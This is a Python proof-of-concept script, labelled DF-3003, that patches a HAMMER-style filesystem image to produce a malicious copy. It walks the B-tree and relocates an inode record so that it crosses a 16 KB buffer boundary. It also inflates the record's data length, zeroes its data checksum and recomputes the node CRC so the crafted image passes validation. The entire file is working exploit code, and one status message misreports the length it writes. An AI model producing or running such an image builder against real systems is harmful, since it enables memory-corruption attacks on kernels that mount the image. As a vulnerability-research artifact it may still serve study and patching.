#!/usr/bin/env python3
# DF-3003 PoC image patcher (sparse I/O version, no full-image load).
import sys, struct, zlib, json

IMG = sys.argv[1] if len(sys.argv) > 1 else "h1.img"
OUT = sys.argv[2] if len(sys.argv) > 2 else "h1_patched.img"
BUFSZ = 16384
BUFMASK = BUFSZ - 1
XOFF = 16272            # 16384 - 112 : first 112 struct bytes stay in-bounds
INODE_DATA_SIZE = 128   # sizeof(struct hammer_inode_data)
OFF_MTIME = 112
OFF_ATIME = 120

def make_crc32c_table():
    tbl = []
    for i in range(256):
        c = i
        for _ in range(8):
            c = (c >> 1) ^ (0x82F63B78 if c & 1 else 0)
        tbl.append(c)
    return tbl
TBL = make_crc32c_table()
def crc32c(data):
    c = 0xFFFFFFFF
    for b in data:
        c = TBL[(c ^ b) & 0xFF] ^ (c >> 8)
    return c ^ 0xFFFFFFFF
def datacrc(version, data):
    return crc32c(data) if version >= 7 else (zlib.crc32(data) & 0xFFFFFFFF)

f = open(IMG, "rb")
def rd(off, n): f.seek(off); return f.read(n)

# ---- locate volume header ----
SIG = 0xC8414D4DC5523031
vol_off = None
for off in range(0, 4 * 1024 * 1024, BUFSZ):
    if struct.unpack_from("<Q", rd(off, 8), 0)[0] == SIG:
        vol_off = off; break
assert vol_off is not None, "volume header not found"
vh = rd(vol_off, 512)
vol_buf_beg, vol_buf_end = struct.unpack_from("<qq", vh, 24)
vol_version, = struct.unpack_from("<I", vh, 152)
btree_root, = struct.unpack_from("<Q", vh, 240)
print(f"vol_off={vol_off:#x} buf_beg={vol_buf_beg:#x} buf_end={vol_buf_end:#x} "
      f"version={vol_version} btree_root={btree_root:#x}")

def z2img(zone_off): return vol_buf_beg + (zone_off & ((1 << 52) - 1))

found = []
def walk(node_zo, depth=0):
    img = z2img(node_zo)
    node = rd(img, 4096)
    count, ntype = struct.unpack_from("<iB", node, 16)
    assert 0 <= count <= 63 and depth < 20, "bad node"
    if ntype == ord('L'):
        for i in range(count):
            e = 64 + 64 * i
            obj_id, key = struct.unpack_from("<qq", node, e)
            create_tid, delete_tid = struct.unpack_from("<qq", node, e + 16)
            rec_type, obj_type, btype = struct.unpack_from("<HBB", node, e + 32)
            localization, = struct.unpack_from("<I", node, e + 36)
            data_offset, = struct.unpack_from("<Q", node, e + 48)
            data_len, = struct.unpack_from("<i", node, e + 56)
            found.append(dict(elm_abs=img + e, node_img=img, obj_id=obj_id,
                              key=key, rec_type=rec_type, obj_type=obj_type,
                              localization=localization, btype=btype,
                              data_offset=data_offset, data_len=data_len,
                              delete_tid=delete_tid))
    elif ntype == ord('I'):
        for i in range(count + 1):  # includes right-hand boundary
            sub, = struct.unpack_from("<Q", node, 64 + 64 * i + 48)
            if sub: walk(sub, depth + 1)
    else:
        raise Exception(f"bad node type {ntype}")
walk(btree_root)

for r in found:
    print(f"  leaf obj_id={r['obj_id']} rt={r['rec_type']} ot={r['obj_type']} "
          f"key={r['key']} dlen={r['data_len']} doff={r['data_offset']:#x}")
cands = [r for r in found if r["rec_type"] == 1 and r["obj_id"] != 1
         and r["obj_id"] > 0 and r["delete_tid"] == 0]
assert len(cands) == 1, f"expected exactly 1 non-root INODE record, got {len(cands)}"
tgt = cands[0]
assert tgt["data_len"] == INODE_DATA_SIZE and tgt["btype"] == ord('R')

blob_img = z2img(tgt["data_offset"])
blob = bytearray(rd(blob_img, INODE_DATA_SIZE))
ot, nlinks, size = blob[64], struct.unpack_from("<Q", blob, 72)[0], \
                   struct.unpack_from("<Q", blob, 80)[0]
print(f"target inode obj_id={tgt['obj_id']} blob@{blob_img:#x} "
      f"obj_type={ot} nlinks={nlinks} size={size}")
assert ot == 2 and nlinks == 1 and size == 6
struct.pack_into("<Q", blob, OFF_MTIME, 0x4141414141414141)
struct.pack_into("<Q", blob, OFF_ATIME, 0x4242424242424242)

# ---- pick a free (all-zero) 16KB buffer far from the allocation frontier ----
timg = None
scan_lo = (vol_buf_end - 128 * 1024 * 1024) & ~BUFMASK
scan_hi = vol_buf_end - 8 * BUFSZ
zeros3 = b"\x00" * (3 * BUFSZ)
cand = scan_lo
while cand <= scan_hi:
    if rd(cand, 3 * BUFSZ) == zeros3:
        timg = cand + BUFSZ  # middle buffer of the zero run
        break
    cand += BUFSZ
assert timg is not None, "no zero region found"
tzone2 = timg - vol_buf_beg
assert tzone2 % BUFSZ == 0 and tzone2 > 0
print(f"target buffer image={timg:#x} zone2={tzone2:#x}")

# ---- apply patches to a copy ----
out = open(OUT, "wb")
import shutil
f.seek(0); shutil.copyfileobj(f, out, 1024 * 1024)
out.close()
def pw(off, data):
    with open(OUT, "r+b") as o:
        o.seek(off); o.write(data); o.close()
pw(timg + XOFF, bytes(blob))
new_doff = (tgt["data_offset"] & 0xF000000000000000) | (tzone2 + XOFF)
pw(tgt["elm_abs"] + 48, struct.pack("<Q", new_doff))
pw(tgt["elm_abs"] + 56, struct.pack("<i", 32768))
pw(tgt["elm_abs"] + 60, struct.pack("<I", 0))
node = bytearray(rd(tgt["node_img"], 4096))
rel = tgt["elm_abs"] - tgt["node_img"]
struct.pack_into("<Q", node, rel + 48, new_doff)
struct.pack_into("<i", node, rel + 56, 32768)
struct.pack_into("<I", node, rel + 60, 0)
ncrc = datacrc(vol_version, bytes(node[4:4096]))
struct.pack_into("<I", node, 0, ncrc)
pw(tgt["node_img"], bytes(node))
print(f"patched: leaf@{tgt['elm_abs']:#x} data_offset={new_doff:#x} data_len=1 "
      f"data_crc=0 node_crc={ncrc:#x}")
json.dump({"vol_off": vol_off, "vol_buf_beg": vol_buf_beg,
           "vol_version": vol_version, "target_img": timg,
           "target_zone2": tzone2, "xoff": XOFF, "new_doff": new_doff,
           "leaf_img": tgt["elm_abs"], "node_img": tgt["node_img"],
           "obj_id": tgt["obj_id"]}, open(OUT + ".json", "w"), indent=1)
print(f"wrote {OUT}")